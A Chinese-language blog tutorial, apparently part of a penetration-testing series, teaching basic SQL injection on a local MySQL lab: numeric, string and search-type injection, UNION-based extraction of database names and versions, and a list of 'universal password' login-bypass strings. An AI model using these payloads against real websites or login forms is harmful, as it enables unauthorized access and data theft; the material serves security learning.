MENU

SQL注入--基础篇

起因

一直以来都准备做的渗透基础教程

在介绍完了基本的信息收集和渗透环境搭建篇之后算是正式开始

可能会做很久也不一定做完,但是一定会更新下去

声明:作者初衷用于分享与普及网络安全知识,若读者因此作出任何危害网络安全行为后果自负,与作者及本网站无关

SQL注入介绍

SQL语句:SQL(Structured Query Language),结构化的查询语言,是关系型数据库通讯的标准语言。

查询:SELECT statement FROM table WHERE condition
删除记录:DELETE FROM table WHERE condition
更新记录:UPDATE table SET field=value WHERE condtion
添加记录:INSERT INTO table field VALUES(values)

SQL注入(SQL Injection):

是程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作

SQL注入攻击流程:

1.判断注入点
2.判断注入点类型
3.判断数据库类型
4.获取数据库数据,提权

SQL注入原理分析

本篇教程应该是基于shack2大佬的SQL注入教程写的

记不太清楚了因为笔记创建时间是19-03-01:

而且现在shack2大佬的博客已经关站,只留了一个github地址

大佬的很多工具也是非常好用的,后面也会介绍到,本文中途有一些大佬有的环境我没有的

只能使用大佬的图片了但是肯定也是看得懂的

我这里使用本地的Navicat for MySql工具和phpstudy提供的MySql数据库来讲解

这两个工具在前面我都介绍过,分别为

  • <<Navicat 家族产品安装及破解>>
  • <<渗透练习环境搭建 (长期更新)>>

Navicat工具连接上本地的mysql数据库之后新建一个数据库test

test中新建一个表new:

填入以下数据:

idtitlecontenttype
1我是SQL注入你知道吗?1
2我不是SQL注入你还不知道吗?2

然后用查询工具运行以下语句插入一行:

INSERT INTO test.new VALUES(3,'test','test',3)

点击运行,刷新new表,发现数据已经被插进去了:

来一个基础的查询:

那我们要查找部分数据可以用limit(x,y)来查询从第x条开始的y条数据

比如这里查询从第0条开始的1条数据(sqlserver里面的关键字是用的top):

数字型注入

我们查询id=1

查询id=1 AND 1=2,没有数据:

到这我们已经能判断有一个SQL注入了,如果没有过滤的话就可以盲注了,我们用or 1=1(永远为真)试一下:

也可以这么理解:

SELECT * FROM test.new WHERE (id=1 OR 1=1)

我们试一下盲注,直接加一个'

打印出了SQL的报错信息,说明支持错误显示注入

我们用Union来试一下,直接Union Select 1

报错了,列不对,所以说我们用order by来判断列:

order by加到5报错了(也可能是没数据):

说明这个表有4列数据,如果原查询语句是:

SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'

这时候你再加个ORDER BY可能也没关系:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'

但是当有时候程序自身带了ORDER BY,比如原语句是:

SELECT * FROM test.new WHERE id=1 ORDER BY id DESC

这时候要在1这个位置上再插入一个ORDER BY进去:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC

这条语句就会报错:

这时候我们就可以用#注释掉后面的语句(有时候要考虑字符转码%23,因为在URL中#表示标记锚连接,直接定位到网页内位置的):

SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC

下面我们说一下怎样判断某个数据库存不存在,我们可以用exists函数:

SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)

返回正常说明admin这个表存在,MYSQL里面是自带information_schema这个库的

那我们看一下存不存在information_schema.tables就知道这个数据库是不是MySQL数据库了:

返回正常,我们通过Union SELECT来看哪一个列能支持显示(这里使用的是大佬教程里的图片):

这里由于我使用的环境不好只显示部分位,实际很多靶场都是有多字段只显示部分字段的情况

这个图就明显说明第2列能被显示出来,但是如果只支持显示一个查询结果很有可能后面的结果我们看不见

我们可以把前面的加一个AND 1=2否定掉,这样就只会显示我们后面的一条数据了:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231

知道了显示位之后我们就可以在显示位上搞事情了,先来查询个数据库:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231

再来查询个版本:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231

可以看到版本号为5.5.53,再来查询information_schema数据库的所有表名:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables

延时函数直接sleep(10)就行了:

字符型注入

我们默认测试的地址为:

SELECT * FROM test.new WHERE type=2

先来一个AND 1=1

再来个1=2

发现都没有输出,也没有报错,那怎么办呢?我们分析一下字符:原来的语句是:

SELECT * FROM test.new WHERE type='xxx'

现在我们要查询type=2的同时还要把And 1=1加进去:

SELECT * FROM test.new WHERE type='2' AND 1=1'

后面还有一个单引号,所以这里最适合的就是用字符型的把后面单引号闭合掉:

SELECT * FROM test.new WHERE type='2' AND '1'='1'

也就是我们的查询数据为:2' AND '1'='1,这样就把2查询了也把AND 1=1加进去了:

其他的就和上面的数值型注入差不多了,比如order by

SELECT * FROM test.new WHERE type='2' ORDER BY 1

Union:

SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL

搜索型注入

一般语句是这样:

SELECT * FROM test.new WHERE title LIKE '%xxx%'

比如:

那我们就可以用程序本身的%'把前面的闭合掉,然后再#注释掉后面的:

因为我们这里是POST方式提交的,不用编码,如果是GET方法提交的,这里需要先编码

所以我们知道查询语句是'%xxx%'的情况下直接搜索%' and '%'='直接就闭合

万能密码

admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)

其实就是闭合了的意思,为了介绍方便我在test数据库里再建一个admin表,数据如下:

idusernamepasswd
7testtest
8nullnull
9nullnull
10aaaxx
11aaaxx
12

我们从这句经典登录来分析:

SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'

当我们要在中间插入or 'a' ='a'的时候,也就是构成了这样的语句:

SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'

能查询成功,此时我们的输入的部分为:

aaa' OR 'a'='a

这样就能把username的前后两个’闭合,然后我们就能查询任意用户名的数据

查询出来的都是passwordxx的账户的数据:

但是这是在password是正确的前提下的,所以最好我们把它输成空:

也可以用注释符:

SELECT * FROM test.admin WHERE username='xxx' OR 1=1#

就能查询出所有数据,简而言之就是闭合前面的username并且保持为真

然后#注释掉后面的passwordOK了,这就是万能密码admin' or 'a'='a的来源

所以在万能密码的条件下,只需要知道username我们就能去登录账户了

当万能密码用在password处的时候,语句是这样的:

SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'

因为程序把前面的一部分看为一个整体了:

SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')

所以这个永远是真,但是登录处肯定不会直接SELECT *的,但是也能得到它SELECT的所有结果。

基础原理讲的还是很枯燥的,后面会放一些例子及简单的记忆技巧,敬请期待!

本文完。